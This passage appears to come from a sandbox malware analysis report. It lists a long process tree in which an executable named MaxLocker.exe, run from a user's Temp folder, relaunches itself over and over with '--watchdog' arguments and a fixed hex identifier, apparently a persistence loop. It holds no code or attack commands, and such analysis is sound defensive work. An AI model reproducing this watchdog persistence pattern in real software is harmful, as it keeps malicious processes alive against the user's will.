  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1344 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4696
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4696 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2016
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2208
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5752
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5752 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:984
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 984 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2600 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:248
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4272 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5624
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5624 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4756 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3916
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3516
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3516 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 548 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2160
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4320 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1128
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 400 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3348
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3348 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4472
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5992
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5992 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4316
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5872 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5824 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4688
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4084
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4084 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:200
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1108
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1108 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1280
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1504 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1472
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5284
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5284 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5812
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4544 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4148
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1356
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1356 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4840
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4840 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1124 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3568 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3572 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4732
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4732 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1296
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4980
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4980 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1648
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3080
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3080 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4524
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3612 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3028
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2280
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2280 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1428
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5040
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5040 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1384
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4520
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4520 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2420
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1272 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1592
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1592 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5492
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5492 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4556
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4556 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4916
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4576
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4576 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5248
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5248 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:568
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1468
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1468 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3268
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3268 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:308
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5932 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3744
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4796 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1548 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5020
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1292
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1292 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3160
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3160 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4804
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5032
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4424
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4424 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4736
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5704
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5704 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5692 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5812
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4544
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4544 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3116
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3116 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2044
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4992
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4992 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2632
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5816
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5816 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1176
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:724
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4296
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4296 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4352
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4352 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4348
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3192
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3192 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5672 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3028
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5820
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5820 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4564
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4532
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4532 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5488
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1872 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2600 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2008
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5376 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3328
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1388 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
